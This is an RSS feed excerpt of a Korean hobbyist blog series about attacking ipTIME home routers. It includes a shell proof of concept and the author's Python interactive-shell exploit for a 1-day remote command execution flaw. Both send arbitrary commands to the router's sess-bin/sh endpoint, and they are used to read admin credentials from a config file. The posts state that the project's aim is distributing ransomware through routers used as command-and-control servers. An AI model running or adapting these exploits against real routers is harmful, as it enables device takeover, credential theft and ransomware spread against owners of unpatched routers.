<p><code>cgi-bin/sh</code> 엔드포인트에 POST 요청 전송하여 명령어를 실행이 가능하다.</p>
<h2 id="952-펌웨어-poc-코드">9.52 펌웨어 PoC 코드</h2>
<pre><code class="language-bash">#!/bin/sh

if [ ! $1 ]; then
  echo &quot;Usage:&quot;
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data=&quot;echo &#39;Content-type: text/plain

&#39;; PATH=$PATH:/sbin:/bin $2 $3 $4&quot; http://$1/sess-bin/sh</code></pre>
<p><code>sess-bin/sh</code> 엔드포인트에 POST 요청 전송하여 명령어를 실행이 가능하다.</p>
<p>나는 위 PoC를 직접 테스트해보기 위해서 해당 모델 중 v504를 사용했다.</p>
<p>전에 서버 망을 구성할 때 썼었기에 가지고 있어서 바로 해당 버전의 펌웨어(9.52, 9.58)를 구하기 시작했다.</p>
<p>근데 확실히 꽤 크게 발생한 사건이라고 생각했는지 iptime 측에서 해당 다운로드 페이지를 비공개처리 해버렸다.</p>
<p><img src="https://images.velog.io/images/yeonlisa/post/4d97003b-09ad-4e7e-b693-7dd3b17516fb/4164335_1582361978747.gif" alt="&#39;어떻게 구하지...&#39;(일단 구글링을 해본다.)"></p>
<p><strong>&#39;어떻게 구하지...&#39;(일단 구글링을 해본다.)</strong></p>
<p>이 때 처음으로 <strong>Wayback Machine</strong>이라는 걸 찾아냈다.</p>
<p>웹 아카이브 서비스로, 과거의 웹페이지를 보여주는 서비스였다. 이를 사용해서 다운로드 링크를 찾기 시작했다.</p>
<p>왜 다운로드 링크를 찾았냐면, <strong>단순히 비공개 처리를 한 것이라면 다운로드 링크는 살아있을 가능성이 있기 때문이다.</strong></p>
<p>이렇게 다운로드 링크를 이리저리 뒤져보니, 링크에 패턴이 있다는 사실을 알게 되었다.</p>
<p><code>https://download.iptime.co.kr/online_upgrade/[모델명]_[국가]_[메이저 버전]_[마이너 버전].bin</code></p>
<p>이런 식으로 패턴이 존재해서 이를 기반으로 해당 버전을 넣어서 접속해봤지만 404가 뜨면서 실패했다.</p>
<p>결국 포기 하려던 그 때, 미친 생각이 떠올랐다.</p>
<p>바로, Wayback Machine에 <code>https://download.iptime.co.kr/online_upgrade/</code>을 처보는 것이었다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/21596837-6b2e-48ce-9a66-89697bceef36/image.png" alt=""></p>
<p>노다지를 발견했다.</p>
<p>이전에 서버에 file_server 형식으로 list를 했던 페이지를 찾은것이다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/74a4bb62-f96b-4925-9979-5622305c9a77/image.png" alt=""></p>
<p>여기서 내가 원하는 펌웨어의 파일명을 찾았고 여태까지 왜 안됐는지 그제서야 이유를 알게 되었다.</p>
<p>위에서 말한 패턴에서 국가코드가 빠져 있는 모습을 보게 되었다. <del>이것 때문에 며칠을 방법을 찾아 해맸다.</del></p>
<p>이로서 위 패턴에 맞추니까 해당 펌웨어를 받을 수 있었다.</p>
<p>이제 주 목표였던 RCE 1-day Exploit을 진행하겠다.</p>
<h1 id="21-iptime-v504-rce-1-day-exploit">2.1. ipTIME v504 RCE 1-day Exploit</h1>
<p>위 코드로 공격을 진행하고 싶었지만, 조금 더 shell 처럼 사용할 수 있도록 위 PoC를 이용해서 Exploit Code를 새롭게 작성했다.</p>
<pre><code class="language-python"># python3
import urllib.request

def attack():
    global e
    url = &quot;http://192.168.0.1/sess-bin/sh&quot;
    payload = &quot;X=X; echo &#39;Content-type: text/plain&#39;; echo;&quot;
    command = input(&quot;root@192.168.0.1:/bin# &quot;)
    if command == &quot;exit&quot;:
        e = 1
    payload += command + &quot;;&quot;
    req = urllib.request.Request(url, data=payload.encode(&#39;utf-8&#39;))
    req.add_header(&quot;User-Agent&quot;, &quot;Mozilla/5.0&quot;)
    req.add_header(&quot;Content-type&quot;, &quot;text/plain&quot;)
    with urllib.request.urlopen(req) as response:
        print(response.read().decode(&#39;utf-8&#39;))

e = 0
while True:
    try:
        attack()
        if e == 1:
            print(&quot;Bye&quot;)
            break
    except Exception as err:
        print(&quot;[!] Error:&quot;, err)</code></pre>
<p>이 코드를 사용해서 진행했고, 최종적으로 성공했다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/06a81224-7227-4368-9bc7-f283c5a7ff43/image.png" alt=""></p>
<p>이처럼 쉘을 따는데 성공했고, 해당 PoC에 나온대로 <code>/tmp/etc/iconfig.cfg</code> 에 있는 관리자 설정 정보를 확인하여 관리자의 ID, PW를 탈취하는데 성공했다.</p>
<p>최종적으로 관리자 웹페이지를 탈취했다.</p>
<h2 id="비상사태-발생">비상사태 발생</h2>
<p>내가 신이 났었는지 모르겠는데 UART 쉘도 따고 싶었어서 정보 찾아서 시도하다가 기기를 벽돌로 만들어버렸다.</p>
<p>나도 어떻게 벽돌이 됐는지 설명을 하고 싶은데 <strong>당시에 도파민에 절여저 있어서 기억이 나질 않는다. 진짜 사고다.</strong></p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/afac7839-7f2b-4996-84b6-309c91397260/image.png" alt=""></p>
<p>큰일이다.. 단종이라서 살 수도 없다..ㅠㅠㅠ</p>
<p>흠..... 아무리 당근을 뒤져봐도 찾을 수가 없다... 진짜 큰일이다...</p>
<h1 id="3-다음-도전기-예고">3. 다음 도전기 예고</h1>
<blockquote>
<p>기기가 나의 멍청하고 어리석은 실수로 인해서 벽돌이 되고 마는데...
과연 다시 살려낼 것인가..? 아니면 또 다른 방향을 찾을 것인가..?
다음 스토리를 기대하시라..</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[ipTIME] 공유기 씹.뜯.맛.즐 해보기 - 01]]></title>
            <link>https://velog.io/@z_coke/iptime-01</link>
            <guid>https://velog.io/@z_coke/iptime-01</guid>
            <pubDate>Thu, 15 May 2025 15:32:44 GMT</pubDate>
            <description><![CDATA[<h1 id="0-개요">0. 개요</h1>
<p>이전에 github pages로 사용하던 블로그가 업로드하는데 너무 복잡하고 정신 없어서 그냥 가장 편안한 Velog로 넘어왔다.</p>
<p>일단 앞서, 이 프로젝트를 시작하게 된 계기를 아주 빨리 집고 넘어갈 예정이다.</p>
<p>이번 프로젝트의 최종 목표는 <strong>공유기를 활용한 랜섬웨어 배포 하기</strong> 이다.</p>
<h1 id="01-프로젝트를-시작하게-된-계기">0.1. 프로젝트를 시작하게 된 계기</h1>
<p>이 프로젝트 자체가 교내 동아리를 들어가서 시작한 스터디를 처음으로 할 수 있을것 같다.</p>
<p>현재 학과 동아리에서 랜섬웨어 스터디에 참여하게 되었다.</p>
<p>여기서 나온 의견을 정리한 내용을 보자면,</p>
<blockquote>
<p>랜섬웨어 스터디
C2서버와 통신하지 않고 내부 값들을 사용해서 키를 만들어보기</p>
<p>IoT? 이걸로 뭐하지?</p>
</blockquote>
<p>랜섬웨어를 만드는것을 목표로 하는 스터디인데, 여기서 내가 IoT 기기를 활용해보자는 의견을 제시했다.</p>
<p>이 의견을 스터디장인 선배님이 긍정적으로 봐주셨고, 이를 조금씩 더 확장하다보니 고등학교 때 공유기를 서버로 만들어서 썼던게 생각이 났다.</p>
<blockquote>
<p>이걸 C2서버로 사용해서 공격?
흠….. 이걸 랜섬웨어로 공격해봤자 얻는게 없음.
그니까 이걸 P2P형태로 C2서버로 쓰면?</p>
<p>공유기를 C2서버로?
이거 한번 만들어봐야겠다
어떡하지,, 뭘하면 좋을까..?</p>
</blockquote>
<p>막상 생각했던게 <strong>&#39;웹서버정도는 열 수 있으니까 C2로서의 역할이 가능하지 않을까?&#39;</strong> 였다.</p>
<p>하지만 공유기는 C2서버로서의 리소스가 충분하지 않았다.</p>
<p>그러면 P2P 형식이라면? 충분히 가능할 것 같았다. 나는 바로 의견을 냈고, 매우 긍정적인 반응을 보여주셨다.</p>
<p>근데 문제는 나도 한지가 2-3년 가량 되어서, 잊어버린게 한두가지가 아니었다.</p>
<p>그래서 <strong>&#39;그러면 이걸 블로그로 써보자.&#39;</strong> 라는 생각이 딱 들었고,</p>
<p>이게 이 블로그의 주제인 공유기 씹뜯맛즐 하기의 시초가 되었다.</p>
<p><del>근데 문제는 이 블로그를 써야겠다는 생각을 한지가 꽤 지났다는거지.. 시작이 반이니까 일단 지금까지 한거 끄적일거다.</del></p>
<h1 id="1-서버-클러스터링으로-c2서버-구축하기">1. 서버 클러스터링으로 C2서버 구축하기</h1>
<p>일단 시작하면서 제일 먼저 떠오른게 P2P 방식을 사용해서 하는거였는데, </p>
<p>이게 생각보다 P2P가 구현하기도 까다롭고 기본적으로 하드웨어가 받쳐줘야한다는 사실을 알게 되었다.</p>
<blockquote>
<p>어, 큰일이네? 어떻게 하지...?
그러면 하드웨어를 물리적으로 묶어버리는 서버 클러스터링을 해볼까?</p>
</blockquote>
<p>이렇게 클러스터 형식으로 묶어버릴 계획을 해버리게 된다.</p>
<p>하지만 아직도 이게 구현자체가 힘들다는것을 망각하고 있을때라서 그러려니 하고 넘어가야한다.</p>
<p>아무리 구글링을 하는데 공유기를 클러스터링 한 사례가 없다. <del>당연한 소리 아니냐.. 어떤 미친놈이 공유기로 그런 짓을 하냐..</del></p>
<p>아무리해도 안될땐? <strong>chatGPT!</strong>
<img src="https://velog.velcdn.com/images/z_coke/post/c0fa3e79-b4c9-48bd-87d7-0712f636ac28/image.png" alt=""></p>
<p>당연히 어렵다고 하긴 한다. 근데 어느정도 성능이 받쳐주면 가능은 하다고 한다.</p>
<p>근데 진짜 문제는 openWRT를 원격으로 어떻게 설치할것이며, 어떻게 연결할지가 가장 큰 난관이다.</p>
<p>이때 해보려고 했는데, 일단 조건에 맞는 장비가 일절 없었다. 그렇기에 당연히 테스트 또한 불가능했다.</p>
<blockquote>
<p>조건:
최소 128MB의 RAM 탑재 되어야 함. (정상 동작하기 위해선 1GB는 되어야 함.)
openWRT가 설치가 가능한 미디어텍, 브로드컴 칩셋이 들어가야 함.
외장 저장장치 연결이 가능한 기기여야 함.</p>
</blockquote>
<p>그냥 딱봐도 헬이다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/87afaa37-f59e-4d78-9a1a-359443641015/image.png" alt="">
그래서 한동안 이걸 어떻게 하지 하다가 내 서버 망에 물린 공유기가 위에 최소사양은 맞출 수 있어서 계속해서 고민했다.</p>
<p>이전에 쓰던 기기가 있는데, 전 기기는 트래픽이 낮기도 하고 내가 이미 조져놓은 상태였기에 불안해서 미친듯이 고민했다.</p>
<blockquote>
<p>당근:
ipTIME A3004T 판매 -&gt; 24,000원</p>
</blockquote>
<p>6만원짜리 공유기를 2만원대에 파는 분을 발견했다.</p>
<p>냉큼가서 주워왔다.</p>
<blockquote>
<p>&#39;후훗,,, 네 놈은 이제 죽었ㄸr,, 허헣허,,, 일루와,,,&#39;</p>
</blockquote>
<p>바로 그냥 집에 오자마자 배를 갈랐다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/9d2f409e-ff9a-4328-ae41-139dee6d7e18/image.png" alt=""></p>
<p>이거랑 다른 모델이긴 한데, 딱 이런 모양이었다.</p>
<p>공유기에 저렇게 큰 방열판 2개가 달린건 세상 살면서 처음봤다.</p>
<p>일단 앞서서 openWRT를 올리는데 성공했고, ssh로 쉘에 접속했다.</p>
<h2 id="어-큰일이다">어.. 큰일이다...</h2>
<p>아니 Docker 를 설치하려고 하는데, containerd가 설치가 안된다..</p>
<p>아니 왜 안되는지 진짜 이유를 몰라서 애용하는 서버포럼에 관련 글을 찾아봤다.</p>
<p>하지만 답은 chatGPT에게 있었다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/5ccdf4fa-1268-492c-97c2-eaf5f081da46/image.png" alt=""></p>
<p>음... 내가 산 공유기는 ramips 계열 칩셋이었고, 당연하게도 도커 데몬과 containerd 가 없는것이 당연했다.</p>
<p>한마디로 클러스터링이라는 것 자체를 docker로 구현하려고 했던건데, 그냥 docker 자체가 설치가 불가능한 구조였다.</p>
<p>이렇게 첫번째 도전기는 실패하게 되었다.</p>
<h1 id="2-다음-도전기-예고">2. 다음 도전기 예고</h1>
<p>다음 편에는 그냥 C2 서버를 포기하고, ipTIME 공유기의 기능인 <strong>&#39;광고 및 공지 기능&#39;</strong>을 사용해볼 예정이다.</p>
<p>그렇기에 이번엔 어떤 사양을 가진 공유기든, <strong>상관이 없다.</strong></p>
<p>지금 일단 RCE 취약점이 있는 버전을 찾아서 이 버전에 펌웨어를 다운로드 하는데까진 성공했다. (원래는 다운로드가 막혀있음.)</p>
<p>다음번에는 관련 1-day를 분석하고, 저 기능을 활성화하는 방식으로 진행할 예정이다.</p>
]]></description>
        </item>
    </channel>
</rss>